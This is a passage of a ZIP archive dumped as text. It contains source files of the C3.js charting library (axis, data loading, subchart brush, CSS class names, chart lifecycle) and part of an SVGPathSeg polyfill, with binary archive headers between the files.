            } else {
                // line/area selection not supported yet
                return;
            }
            if (isWithin ^ isIncluded) {
                shape.classed(CLASS.INCLUDED, !isIncluded);
                // TODO: included/unincluded callback here
                shape.classed(CLASS.SELECTED, !isSelected);
                toggle.call($$, !isSelected, shape, d, i);
            }
        });
};

ChartInternal.prototype.dragstart = function (mouse) {
    var $$ = this, config = $$.config;
    if ($$.hasArcType()) { return; }
    if (! config.data_selection_enabled) { return; } // do nothing if not selectable
    $$.dragStart = mouse;
    $$.main.select('.' + CLASS.chart).append('rect')
        .attr('class', CLASS.dragarea)
        .style('opacity', 0.1);
    $$.dragging = true;
};

ChartInternal.prototype.dragend = function () {
    var $$ = this, config = $$.config;
    if ($$.hasArcType()) { return; }
    if (! config.data_selection_enabled) { return; } // do nothing if not selectable
    $$.main.select('.' + CLASS.dragarea)
        .transition().duration(100)
        .style('opacity', 0)
        .remove();
    $$.main.selectAll('.' + CLASS.shape)
        .classed(CLASS.INCLUDED, false);
    $$.dragging = false;
};
PKK|�\��UUapi.axis.jsnu�[���import { Chart } from './core';
import { isValue, isDefined } from './util';

Chart.prototype.axis = function () {};
Chart.prototype.axis.labels = function (labels) {
    var $$ = this.internal;
    if (arguments.length) {
        Object.keys(labels).forEach(function (axisId) {
            $$.axis.setLabelText(axisId, labels[axisId]);
        });
        $$.axis.updateLabels();
    }
    // TODO: return some values?
};
Chart.prototype.axis.max = function (max) {
    var $$ = this.internal, config = $$.config;
    if (arguments.length) {
        if (typeof max === 'object') {
            if (isValue(max.x)) { config.axis_x_max = max.x; }
            if (isValue(max.y)) { config.axis_y_max = max.y; }
            if (isValue(max.y2)) { config.axis_y2_max = max.y2; }
        } else {
            config.axis_y_max = config.axis_y2_max = max;
        }
        $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true});
    } else {
        return {
            x: config.axis_x_max,
            y: config.axis_y_max,
            y2: config.axis_y2_max
        };
    }
};
Chart.prototype.axis.min = function (min) {
    var $$ = this.internal, config = $$.config;
    if (arguments.length) {
        if (typeof min === 'object') {
            if (isValue(min.x)) { config.axis_x_min = min.x; }
            if (isValue(min.y)) { config.axis_y_min = min.y; }
            if (isValue(min.y2)) { config.axis_y2_min = min.y2; }
        } else {
            config.axis_y_min = config.axis_y2_min = min;
        }
        $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true});
    } else {
        return {
            x: config.axis_x_min,
            y: config.axis_y_min,
            y2: config.axis_y2_min
        };
    }
};
Chart.prototype.axis.range = function (range) {
    if (arguments.length) {
        if (isDefined(range.max)) { this.axis.max(range.max); }
        if (isDefined(range.min)) { this.axis.min(range.min); }
    } else {
        return {
            max: this.axis.max(),
            min: this.axis.min()
        };
    }
};
PKK|�\��Rdata.load.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';

ChartInternal.prototype.load = function (targets, args) {
    var $$ = this;
    if (targets) {
        // filter loading targets if needed
        if (args.filter) {
            targets = targets.filter(args.filter);
        }
        // set type if args.types || args.type specified
        if (args.type || args.types) {
            targets.forEach(function (t) {
                var type = args.types && args.types[t.id] ? args.types[t.id] : args.type;
                $$.setTargetType(t.id, type);
            });
        }
        // Update/Add data
        $$.data.targets.forEach(function (d) {
            for (var i = 0; i < targets.length; i++) {
                if (d.id === targets[i].id) {
                    d.values = targets[i].values;
                    targets.splice(i, 1);
                    break;
                }
            }
        });
        $$.data.targets = $$.data.targets.concat(targets); // add remained
    }

    // Set targets
    $$.updateTargets($$.data.targets);

    // Redraw with new targets
    $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true, withLegend: true});

    if (args.done) { args.done(); }
};
ChartInternal.prototype.loadFromArgs = function (args) {
    var $$ = this;
    if (args.data) {
        $$.load($$.convertDataToTargets(args.data), args);
    }
    else if (args.url) {
        $$.convertUrlToData(args.url, args.mimeType, args.headers, args.keys, function (data) {
            $$.load($$.convertDataToTargets(data), args);
        });
    }
    else if (args.json) {
        $$.load($$.convertDataToTargets($$.convertJsonToData(args.json, args.keys)), args);
    }
    else if (args.rows) {
        $$.load($$.convertDataToTargets($$.convertRowsToData(args.rows)), args);
    }
    else if (args.columns) {
        $$.load($$.convertDataToTargets($$.convertColumnsToData(args.columns)), args);
    }
    else {
        $$.load(null, args);
    }
};
ChartInternal.prototype.unload = function (targetIds, done) {
    var $$ = this;
    if (!done) {
        done = function () {};
    }
    // filter existing target
    targetIds = targetIds.filter(function (id) { return $$.hasTarget($$.data.targets, id); });
    // If no target, call done and return
    if (!targetIds || targetIds.length === 0) {
        done();
        return;
    }
    $$.svg.selectAll(targetIds.map(function (id) { return $$.selectorTarget(id); }))
        .transition()
        .style('opacity', 0)
        .remove()
        .call($$.endall, done);
    targetIds.forEach(function (id) {
        // Reset fadein for future load
        $$.withoutFadeIn[id] = false;
        // Remove target's elements
        if ($$.legend) {
            $$.legend.selectAll('.' + CLASS.legendItem + $$.getTargetSelectorSuffix(id)).remove();
        }
        // Remove target
        $$.data.targets = $$.data.targets.filter(function (t) {
            return t.id !== id;
        });
    });
};
PKK|�\"e:��api.chart.jsnu�[���import { Chart } from './core';

Chart.prototype.resize = function (size) {
    var $$ = this.internal, config = $$.config;
    config.size_width = size ? size.width : null;
    config.size_height = size ? size.height : null;
    this.flush();
};

Chart.prototype.flush = function () {
    var $$ = this.internal;
    $$.updateAndRedraw({withLegend: true, withTransition: false, withTransitionForTransform: false});
};

Chart.prototype.destroy = function () {
    var $$ = this.internal;

    window.clearInterval($$.intervalForObserveInserted);

    if ($$.resizeTimeout !== undefined) {
        window.clearTimeout($$.resizeTimeout);
    }

    if (window.detachEvent) {
        window.detachEvent('onresize', $$.resizeIfElementDisplayed);
    } else if (window.removeEventListener) {
        window.removeEventListener('resize', $$.resizeIfElementDisplayed);
    } else {
        var wrapper = window.onresize;
        // check if no one else removed our wrapper and remove our resizeFunction from it
        if (wrapper && wrapper.add && wrapper.remove) {
            wrapper.remove($$.resizeFunction);
        }
    }

    // remove the inner resize functions
    $$.resizeFunction.remove();

    $$.selectChart.classed('c3', false).html("");

    // MEMO: this is needed because the reference of some elements will not be released, then memory leak will happen.
    Object.keys($$).forEach(function (key) {
        $$[key] = null;
    });

    return null;
};
PKK|�\��A��	�	class.jsnu�[���export default {
    target: 'c3-target',
    chart: 'c3-chart',
    chartLine: 'c3-chart-line',
    chartLines: 'c3-chart-lines',
    chartBar: 'c3-chart-bar',
    chartBars: 'c3-chart-bars',
    chartText: 'c3-chart-text',
    chartTexts: 'c3-chart-texts',
    chartArc: 'c3-chart-arc',
    chartArcs: 'c3-chart-arcs',
    chartArcsTitle: 'c3-chart-arcs-title',
    chartArcsBackground: 'c3-chart-arcs-background',
    chartArcsGaugeUnit: 'c3-chart-arcs-gauge-unit',
    chartArcsGaugeMax: 'c3-chart-arcs-gauge-max',
    chartArcsGaugeMin: 'c3-chart-arcs-gauge-min',
    selectedCircle: 'c3-selected-circle',
    selectedCircles: 'c3-selected-circles',
    eventRect: 'c3-event-rect',
    eventRects: 'c3-event-rects',
    eventRectsSingle: 'c3-event-rects-single',
    eventRectsMultiple: 'c3-event-rects-multiple',
    zoomRect: 'c3-zoom-rect',
    brush: 'c3-brush',
    dragZoom: 'c3-drag-zoom',
    focused: 'c3-focused',
    defocused: 'c3-defocused',
    region: 'c3-region',
    regions: 'c3-regions',
    title: 'c3-title',
    tooltipContainer: 'c3-tooltip-container',
    tooltip: 'c3-tooltip',
    tooltipName: 'c3-tooltip-name',
    shape: 'c3-shape',
    shapes: 'c3-shapes',
    line: 'c3-line',
    lines: 'c3-lines',
    bar: 'c3-bar',
    bars: 'c3-bars',
    circle: 'c3-circle',
    circles: 'c3-circles',
    arc: 'c3-arc',
    arcLabelLine: 'c3-arc-label-line',
    arcs: 'c3-arcs',
    area: 'c3-area',
    areas: 'c3-areas',
    empty: 'c3-empty',
    text: 'c3-text',
    texts: 'c3-texts',
    gaugeValue: 'c3-gauge-value',
    grid: 'c3-grid',
    gridLines: 'c3-grid-lines',
    xgrid: 'c3-xgrid',
    xgrids: 'c3-xgrids',
    xgridLine: 'c3-xgrid-line',
    xgridLines: 'c3-xgrid-lines',
    xgridFocus: 'c3-xgrid-focus',
    ygrid: 'c3-ygrid',
    ygrids: 'c3-ygrids',
    ygridLine: 'c3-ygrid-line',
    ygridLines: 'c3-ygrid-lines',
    axis: 'c3-axis',
    axisX: 'c3-axis-x',
    axisXLabel: 'c3-axis-x-label',
    axisY: 'c3-axis-y',
    axisYLabel: 'c3-axis-y-label',
    axisY2: 'c3-axis-y2',
    axisY2Label: 'c3-axis-y2-label',
    legendBackground: 'c3-legend-background',
    legendItem: 'c3-legend-item',
    legendItemEvent: 'c3-legend-item-event',
    legendItemTile: 'c3-legend-item-tile',
    legendItemHidden: 'c3-legend-item-hidden',
    legendItemFocused: 'c3-legend-item-focused',
    dragarea: 'c3-dragarea',
    EXPANDED: '_expanded_',
    SELECTED: '_selected_',
    INCLUDED: '_included_'
};
PKK|�\�չ/��zoom.jsnu�[���var rho = Math.SQRT2,
    rho2 = 2,
    rho4 = 4,
    epsilon2 = 1e-12;

function cosh(x) {
  return ((x = Math.exp(x)) + 1 / x) / 2;
}

function sinh(x) {
  return ((x = Math.exp(x)) - 1 / x) / 2;
}

function tanh(x) {
  return ((x = Math.exp(2 * x)) - 1) / (x + 1);
}

// p0 = [ux0, uy0, w0]
// p1 = [ux1, uy1, w1]
export default function(p0, p1) {
  var ux0 = p0[0], uy0 = p0[1], w0 = p0[2],
      ux1 = p1[0], uy1 = p1[1], w1 = p1[2],
      dx = ux1 - ux0,
      dy = uy1 - uy0,
      d2 = dx * dx + dy * dy,
      i,
      S;

  // Special case for u0 ≅ u1.
  if (d2 < epsilon2) {
    S = Math.log(w1 / w0) / rho;
    i = function(t) {
      return [
        ux0 + t * dx,
        uy0 + t * dy,
        w0 * Math.exp(rho * t * S)
      ];
    }
  }

  // General case.
  else {
    var d1 = Math.sqrt(d2),
        b0 = (w1 * w1 - w0 * w0 + rho4 * d2) / (2 * w0 * rho2 * d1),
        b1 = (w1 * w1 - w0 * w0 - rho4 * d2) / (2 * w1 * rho2 * d1),
        r0 = Math.log(Math.sqrt(b0 * b0 + 1) - b0),
        r1 = Math.log(Math.sqrt(b1 * b1 + 1) - b1);
    S = (r1 - r0) / rho;
    i = function(t) {
      var s = t * S,
          coshr0 = cosh(r0),
          u = w0 / (rho2 * d1) * (coshr0 * tanh(rho * s + r0) - sinh(r0));
      return [
        ux0 + u * dx,
        uy0 + u * dy,
        w0 * coshr0 / cosh(rho * s + r0)
      ];
    }
  }

  i.duration = S * 1000;

  return i;
}
PKK|�\�����category.jsnu�[���import { ChartInternal } from './core';

ChartInternal.prototype.categoryName = function (i) {
    var config = this.config;
    return i < config.axis_x_categories.length ? config.axis_x_categories[i] : i;
};
PKK|�\�S��XXchart.jsnu�[���import {ChartInternal} from './chart-internal';

export function Chart(config) {
    var $$ = this.internal = new ChartInternal(this);
    $$.loadConfig(config);

    $$.beforeInit(config);
    $$.init();
    $$.afterInit(config);

    // bind "this" to nested API
    (function bindThis(fn, target, argThis) {
        Object.keys(fn).forEach(function (key) {
            target[key] = fn[key].bind(argThis);
            if (Object.keys(fn[key]).length > 0) {
                bindThis(fn[key], target[key], argThis);
            }
        });
    })(Chart.prototype, this, this);
}PKK|�\�D�:��
api.legend.jsnu�[���import { Chart } from './core';

Chart.prototype.legend = function () {};
Chart.prototype.legend.show = function (targetIds) {
    var $$ = this.internal;
    $$.showLegend($$.mapToTargetIds(targetIds));
    $$.updateAndRedraw({withLegend: true});
};
Chart.prototype.legend.hide = function (targetIds) {
    var $$ = this.internal;
    $$.hideLegend($$.mapToTargetIds(targetIds));
    $$.updateAndRedraw({withLegend: false});
};
PKK|�\�A���class-utils.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';


ChartInternal.prototype.generateTargetClass = function (targetId) {
    return targetId || targetId === 0 ? ('-' + targetId).replace(/\s/g, '-') : '';
};
ChartInternal.prototype.generateClass = function (prefix, targetId) {
    return " " + prefix + " " + prefix + this.generateTargetClass(targetId);
};
ChartInternal.prototype.classText = function (d) {
    return this.generateClass(CLASS.text, d.index);
};
ChartInternal.prototype.classTexts = function (d) {
    return this.generateClass(CLASS.texts, d.id);
};
ChartInternal.prototype.classShape = function (d) {
    return this.generateClass(CLASS.shape, d.index);
};
ChartInternal.prototype.classShapes = function (d) {
    return this.generateClass(CLASS.shapes, d.id);
};
ChartInternal.prototype.classLine = function (d) {
    return this.classShape(d) + this.generateClass(CLASS.line, d.id);
};
ChartInternal.prototype.classLines = function (d) {
    return this.classShapes(d) + this.generateClass(CLASS.lines, d.id);
};
ChartInternal.prototype.classCircle = function (d) {
    return this.classShape(d) + this.generateClass(CLASS.circle, d.index);
};
ChartInternal.prototype.classCircles = function (d) {
    return this.classShapes(d) + this.generateClass(CLASS.circles, d.id);
};
ChartInternal.prototype.classBar = function (d) {
    return this.classShape(d) + this.generateClass(CLASS.bar, d.index);
};
ChartInternal.prototype.classBars = function (d) {
    return this.classShapes(d) + this.generateClass(CLASS.bars, d.id);
};
ChartInternal.prototype.classArc = function (d) {
    return this.classShape(d.data) + this.generateClass(CLASS.arc, d.data.id);
};
ChartInternal.prototype.classArcs = function (d) {
    return this.classShapes(d.data) + this.generateClass(CLASS.arcs, d.data.id);
};
ChartInternal.prototype.classArea = function (d) {
    return this.classShape(d) + this.generateClass(CLASS.area, d.id);
};
ChartInternal.prototype.classAreas = function (d) {
    return this.classShapes(d) + this.generateClass(CLASS.areas, d.id);
};
ChartInternal.prototype.classRegion = function (d, i) {
    return this.generateClass(CLASS.region, i) + ' ' + ('class' in d ? d['class'] : '');
};
ChartInternal.prototype.classEvent = function (d) {
    return this.generateClass(CLASS.eventRect, d.index);
};
ChartInternal.prototype.classTarget = function (id) {
    var $$ = this;
    var additionalClassSuffix = $$.config.data_classes[id], additionalClass = '';
    if (additionalClassSuffix) {
        additionalClass = ' ' + CLASS.target + '-' + additionalClassSuffix;
    }
    return $$.generateClass(CLASS.target, id) + additionalClass;
};
ChartInternal.prototype.classFocus = function (d) {
    return this.classFocused(d) + this.classDefocused(d);
};
ChartInternal.prototype.classFocused = function (d) {
    return ' ' + (this.focusedTargetIds.indexOf(d.id) >= 0 ? CLASS.focused : '');
};
ChartInternal.prototype.classDefocused = function (d) {
    return ' ' + (this.defocusedTargetIds.indexOf(d.id) >= 0 ? CLASS.defocused : '');
};
ChartInternal.prototype.classChartText = function (d) {
    return CLASS.chartText + this.classTarget(d.id);
};
ChartInternal.prototype.classChartLine = function (d) {
    return CLASS.chartLine + this.classTarget(d.id);
};
ChartInternal.prototype.classChartBar = function (d) {
    return CLASS.chartBar + this.classTarget(d.id);
};
ChartInternal.prototype.classChartArc = function (d) {
    return CLASS.chartArc + this.classTarget(d.data.id);
};
ChartInternal.prototype.getTargetSelectorSuffix = function (targetId) {
    return this.generateTargetClass(targetId)
        .replace(/([?!@#$%^&*()_=+,.<>'":;\[\]\/|~`{}\\])/g, '\\$1');
};
ChartInternal.prototype.selectorTarget = function (id, prefix) {
    return (prefix || '') + '.' + CLASS.target + this.getTargetSelectorSuffix(id);
};
ChartInternal.prototype.selectorTargets = function (ids, prefix) {
    var $$ = this;
    ids = ids || [];
    return ids.length ? ids.map(function (id) { return $$.selectorTarget(id, prefix); }) : null;
};
ChartInternal.prototype.selectorLegend = function (id) {
    return '.' + CLASS.legendItem + this.getTargetSelectorSuffix(id);
};
ChartInternal.prototype.selectorLegends = function (ids) {
    var $$ = this;
    return ids && ids.length ? ids.map(function (id) { return $$.selectorLegend(id); }) : null;
};
PKK|�\s�^�55api.category.jsnu�[���import { Chart } from './core';

Chart.prototype.category = function (i, category) {
    var $$ = this.internal, config = $$.config;
    if (arguments.length > 1) {
        config.axis_x_categories[i] = category;
        $$.redraw();
    }
    return config.axis_x_categories[i];
};
Chart.prototype.categories = function (categories) {
    var $$ = this.internal, config = $$.config;
    if (!arguments.length) { return config.axis_x_categories; }
    config.axis_x_categories = categories;
    $$.redraw();
    return config.axis_x_categories;
};
PKK|�\��Pt,t,subchart.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';
import { isFunction } from './util';

ChartInternal.prototype.initBrush = function (scale) {
    var $$ = this, d3 = $$.d3;
    // TODO: dynamically change brushY/brushX according to axis_rotated.
    $$.brush = ($$.config.axis_rotated ? d3.brushY() : d3.brushX()).on("brush", function () {
        var event = d3.event.sourceEvent;
        if (event && event.type === "zoom") { return; }
        $$.redrawForBrush();
    }).on("end", function () {
        var event = d3.event.sourceEvent;
        if (event && event.type === "zoom") { return; }
        if ($$.brush.empty() && event && event.type !== 'end') { $$.brush.clear(); }
    });
    $$.brush.updateExtent = function () {
        var range = this.scale.range(), extent;
        if ($$.config.axis_rotated) {
            extent = [[0, range[0]], [$$.width2, range[1]]];
        }
        else {
            extent = [[range[0], 0], [range[1], $$.height2]];
        }
        this.extent(extent);
        return this;
    };
    $$.brush.updateScale = function (scale) {
        this.scale = scale;
        return this;
    };
    $$.brush.update = function (scale) {
        this.updateScale(scale || $$.subX).updateExtent();
        $$.context.select('.' + CLASS.brush).call(this);
    };
    $$.brush.clear = function () {
        $$.context.select('.' + CLASS.brush).call($$.brush.move, null);
    };
    $$.brush.selection = function () {
        return d3.brushSelection($$.context.select('.' + CLASS.brush).node());
    };
    $$.brush.selectionAsValue = function (selectionAsValue, withTransition) {
        var selection, brush;
        if (selectionAsValue) {
            if ($$.context) {
                selection = [this.scale(selectionAsValue[0]), this.scale(selectionAsValue[1])];
                brush = $$.context.select('.' + CLASS.brush);
                if (withTransition) { brush = brush.transition(); }
                $$.brush.move(brush, selection);
            }
            return [];
        }
        selection = $$.brush.selection() || [0,0];
        return [this.scale.invert(selection[0]), this.scale.invert(selection[1])];
    };
    $$.brush.empty = function () {
        var selection = $$.brush.selection();
        return !selection || selection[0] === selection[1];
    };
    return $$.brush.updateScale(scale);
};
ChartInternal.prototype.initSubchart = function () {
    var $$ = this, config = $$.config,
        context = $$.context = $$.svg.append("g").attr("transform", $$.getTranslate('context')),
        visibility = config.subchart_show ? 'visible' : 'hidden';

    // set style
    context.style('visibility', visibility);

    // Define g for chart area
    context.append('g')
        .attr("clip-path", $$.clipPathForSubchart)
        .attr('class', CLASS.chart);

    // Define g for bar chart area
    context.select('.' + CLASS.chart).append("g")
        .attr("class", CLASS.chartBars);

    // Define g for line chart area
    context.select('.' + CLASS.chart).append("g")
        .attr("class", CLASS.chartLines);

    // Add extent rect for Brush
    context.append("g")
        .attr("clip-path", $$.clipPath)
        .attr("class", CLASS.brush);

    // ATTENTION: This must be called AFTER chart added
    // Add Axis
    $$.axes.subx = context.append("g")
        .attr("class", CLASS.axisX)
        .attr("transform", $$.getTranslate('subx'))
        .attr("clip-path", config.axis_rotated ? "" : $$.clipPathForXAxis);
};
ChartInternal.prototype.initSubchartBrush = function () {
    var $$ = this;
    // Add extent rect for Brush
    $$.initBrush($$.subX).updateExtent();
    $$.context.select('.' + CLASS.brush).call($$.brush);
};
ChartInternal.prototype.updateTargetsForSubchart = function (targets) {
    var $$ = this, context = $$.context, config = $$.config,
        contextLineEnter, contextLine, contextBarEnter, contextBar,
        classChartBar = $$.classChartBar.bind($$),
        classBars = $$.classBars.bind($$),
        classChartLine = $$.classChartLine.bind($$),
        classLines = $$.classLines.bind($$),
        classAreas = $$.classAreas.bind($$);

    if (config.subchart_show) {
        //-- Bar --//
        contextBar = context.select('.' + CLASS.chartBars).selectAll('.' + CLASS.chartBar)
            .data(targets);
        contextBarEnter = contextBar.enter().append('g')
            .style('opacity', 0);
        contextBarEnter.merge(contextBar)
            .attr('class', classChartBar);
        // Bars for each data
        contextBarEnter.append('g')
            .attr("class", classBars);

        //-- Line --//
        contextLine = context.select('.' + CLASS.chartLines).selectAll('.' + CLASS.chartLine)
            .data(targets);
        contextLineEnter = contextLine.enter().append('g')
            .style('opacity', 0);
        contextLineEnter.merge(contextLine)
            .attr('class', classChartLine);
        // Lines for each data
        contextLineEnter.append("g")
            .attr("class", classLines);
        // Area
        contextLineEnter.append("g")
            .attr("class", classAreas);

        //-- Brush --//
        context.selectAll('.' + CLASS.brush + ' rect')
            .attr(config.axis_rotated ? "width" : "height", config.axis_rotated ? $$.width2 : $$.height2);
    }
};
ChartInternal.prototype.updateBarForSubchart = function (durationForExit) {
    var $$ = this;
    var contextBar = $$.context.selectAll('.' + CLASS.bars).selectAll('.' + CLASS.bar)
        .data($$.barData.bind($$));
    var contextBarEnter = contextBar.enter().append('path')
        .attr("class", $$.classBar.bind($$))
        .style("stroke", 'none')
        .style("fill", $$.color);
    contextBar.exit().transition().duration(durationForExit)
        .style('opacity', 0)
        .remove();
    $$.contextBar = contextBarEnter.merge(contextBar)
        .style("opacity", $$.initialOpacity.bind($$));
};
ChartInternal.prototype.redrawBarForSubchart = function (drawBarOnSub, withTransition, duration) {
    (withTransition ? this.contextBar.transition(Math.random().toString()).duration(duration) : this.contextBar)
        .attr('d', drawBarOnSub)
        .style('opacity', 1);
};
ChartInternal.prototype.updateLineForSubchart = function (durationForExit) {
    var $$ = this;
    var contextLine = $$.context.selectAll('.' + CLASS.lines).selectAll('.' + CLASS.line)
        .data($$.lineData.bind($$));
    var contextLineEnter = contextLine.enter().append('path')
        .attr('class', $$.classLine.bind($$))
        .style('stroke', $$.color);
    contextLine.exit().transition().duration(durationForExit)
        .style('opacity', 0)
        .remove();
    $$.contextLine = contextLineEnter.merge(contextLine)
        .style("opacity", $$.initialOpacity.bind($$));
};
ChartInternal.prototype.redrawLineForSubchart = function (drawLineOnSub, withTransition, duration) {
    (withTransition ? this.contextLine.transition(Math.random().toString()).duration(duration) : this.contextLine)
        .attr("d", drawLineOnSub)
        .style('opacity', 1);
};
ChartInternal.prototype.updateAreaForSubchart = function (durationForExit) {
    var $$ = this, d3 = $$.d3;
    var contextArea = $$.context.selectAll('.' + CLASS.areas).selectAll('.' + CLASS.area)
        .data($$.lineData.bind($$));
    var contextAreaEnter = contextArea.enter().append('path')
        .attr("class", $$.classArea.bind($$))
        .style("fill", $$.color)
        .style("opacity", function () { $$.orgAreaOpacity = +d3.select(this).style('opacity'); return 0; });
    contextArea.exit().transition().duration(durationForExit)
        .style('opacity', 0)
        .remove();
    $$.contextArea = contextAreaEnter.merge(contextArea)
        .style("opacity", 0);
};
ChartInternal.prototype.redrawAreaForSubchart = function (drawAreaOnSub, withTransition, duration) {
    (withTransition ? this.contextArea.transition(Math.random().toString()).duration(duration) : this.contextArea)
        .attr("d", drawAreaOnSub)
        .style("fill", this.color)
        .style("opacity", this.orgAreaOpacity);
};
ChartInternal.prototype.redrawSubchart = function (withSubchart, transitions, duration, durationForExit, areaIndices, barIndices, lineIndices) {
    var $$ = this, d3 = $$.d3, config = $$.config,
        drawAreaOnSub, drawBarOnSub, drawLineOnSub;

    $$.context.style('visibility', config.subchart_show ? 'visible' : 'hidden');

    // subchart
    if (config.subchart_show) {
        // reflect main chart to extent on subchart if zoomed
        if (d3.event && d3.event.type === 'zoom') {
            $$.brush.selectionAsValue($$.x.orgDomain());
        }
        // update subchart elements if needed
        if (withSubchart) {
            // extent rect
            if (!$$.brush.empty()) {
                $$.brush.selectionAsValue($$.x.orgDomain());
            }
            // setup drawer - MEMO: this must be called after axis updated
            drawAreaOnSub = $$.generateDrawArea(areaIndices, true);
            drawBarOnSub = $$.generateDrawBar(barIndices, true);
            drawLineOnSub = $$.generateDrawLine(lineIndices, true);

            $$.updateBarForSubchart(duration);
            $$.updateLineForSubchart(duration);
            $$.updateAreaForSubchart(duration);

            $$.redrawBarForSubchart(drawBarOnSub, duration, duration);
            $$.redrawLineForSubchart(drawLineOnSub, duration, duration);
            $$.redrawAreaForSubchart(drawAreaOnSub, duration, duration);
        }
    }
};
ChartInternal.prototype.redrawForBrush = function () {
    var $$ = this, x = $$.x, d3 = $$.d3, s;
    $$.redraw({
        withTransition: false,
        withY: $$.config.zoom_rescale,
        withSubchart: false,
        withUpdateXDomain: true,
        withEventRect: false,
        withDimension: false
    });
    // update zoom transation binded to event rect
    s = d3.event.selection || $$.brush.scale.range();
    $$.main.select('.' + CLASS.eventRect).call($$.zoom.transform, d3.zoomIdentity
                                               .scale($$.width / (s[1] - s[0]))
                                               .translate(-s[0], 0));
    $$.config.subchart_onbrush.call($$.api, x.orgDomain());
};
ChartInternal.prototype.transformContext = function (withTransition, transitions) {
    var $$ = this, subXAxis;
    if (transitions && transitions.axisSubX) {
        subXAxis = transitions.axisSubX;
    } else {
        subXAxis = $$.context.select('.' + CLASS.axisX);
        if (withTransition) { subXAxis = subXAxis.transition(); }
    }
    $$.context.attr("transform", $$.getTranslate('context'));
    subXAxis.attr("transform", $$.getTranslate('subx'));
};
ChartInternal.prototype.getDefaultSelection = function () {
    var $$ = this, config = $$.config,
        selection = isFunction(config.axis_x_selection) ? config.axis_x_selection($$.getXDomain($$.data.targets)) : config.axis_x_selection;
    if ($$.isTimeSeries()) {
        selection = [$$.parseDate(selection[0]), $$.parseDate(selection[1])];
    }
    return selection;
};
PKK|�\�:t��polyfill.jsnu�[���/* jshint ignore:start */

// SVGPathSeg API polyfill
// https://github.com/progers/pathseg
//
// This is a drop-in replacement for the SVGPathSeg and SVGPathSegList APIs that were removed from
// SVG2 (https://lists.w3.org/Archives/Public/www-svg/2015Jun/0044.html), including the latest spec
// changes which were implemented in Firefox 43 and Chrome 46.

(function () {
    "use strict";
    if (!("SVGPathSeg" in window)) {
        // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-InterfaceSVGPathSeg
        window.SVGPathSeg = function (type, typeAsLetter, owningPathSegList) {
            this.pathSegType = type;
            this.pathSegTypeAsLetter = typeAsLetter;
            this._owningPathSegList = owningPathSegList;
        }

        window.SVGPathSeg.prototype.classname = "SVGPathSeg";

        window.SVGPathSeg.PATHSEG_UNKNOWN = 0;
        window.SVGPathSeg.PATHSEG_CLOSEPATH = 1;
        window.SVGPathSeg.PATHSEG_MOVETO_ABS = 2;
        window.SVGPathSeg.PATHSEG_MOVETO_REL = 3;
        window.SVGPathSeg.PATHSEG_LINETO_ABS = 4;
        window.SVGPathSeg.PATHSEG_LINETO_REL = 5;
        window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_ABS = 6;
        window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_REL = 7;
        window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_ABS = 8;
        window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_REL = 9;
        window.SVGPathSeg.PATHSEG_ARC_ABS = 10;
        window.SVGPathSeg.PATHSEG_ARC_REL = 11;
        window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_ABS = 12;
        window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_REL = 13;
        window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_ABS = 14;
        window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_REL = 15;
        window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_ABS = 16;
        window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_REL = 17;
        window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS = 18;
        window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL = 19;

        // Notify owning PathSegList on any changes so they can be synchronized back to the path element.
        window.SVGPathSeg.prototype._segmentChanged = function () {
            if (this._owningPathSegList)
                this._owningPathSegList.segmentChanged(this);
        }

        window.SVGPathSegClosePath = function (owningPathSegList) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CLOSEPATH, "z", owningPathSegList);
        }
        window.SVGPathSegClosePath.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegClosePath.prototype.toString = function () {
            return "[object SVGPathSegClosePath]";
        }
        window.SVGPathSegClosePath.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter;
        }
        window.SVGPathSegClosePath.prototype.clone = function () {
            return new window.SVGPathSegClosePath(undefined);
        }

        window.SVGPathSegMovetoAbs = function (owningPathSegList, x, y) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_MOVETO_ABS, "M", owningPathSegList);
            this._x = x;
            this._y = y;
        }
        window.SVGPathSegMovetoAbs.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegMovetoAbs.prototype.toString = function () {
            return "[object SVGPathSegMovetoAbs]";
        }
        window.SVGPathSegMovetoAbs.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x + " " + this._y;
        }
        window.SVGPathSegMovetoAbs.prototype.clone = function () {
            return new window.SVGPathSegMovetoAbs(undefined, this._x, this._y);
        }
        Object.defineProperty(window.SVGPathSegMovetoAbs.prototype, "x", {
            get: function () {
                return this._x;
            },
            set: function (x) {
                this._x = x;
                this._segmentChanged();
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathSegMovetoAbs.prototype, "y", {
            get: function () {
                return this._y;
            },
            set: function (y) {
                this._y = y;
                this._segmentChanged();
            },
            enumerable: true
        });

        window.SVGPathSegMovetoRel = function (owningPathSegList, x, y) {
            window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_MOVETO_REL, "m", owningPathSegList);
            this._x = x;
            this._y = y;
        }
        window.SVGPathSegMovetoRel.prototype = Object.create(window.SVGPathSeg.prototype);
        window.SVGPathSegMovetoRel.prototype.toString = function () {
            return "[object SVGPathSegMovetoRel]";
        }
        window.SVGPathSegMovetoRel.prototype._asPathString = function () {
            return this.pathSegTypeAsLetter + " " + this._x + " " + this._y;
        }
        window.SVGPathSegMovetoRel.prototype.clone = function () {
            return new window.SVGPathSegMovetoRel(undefined, this._x, this._y);
        }
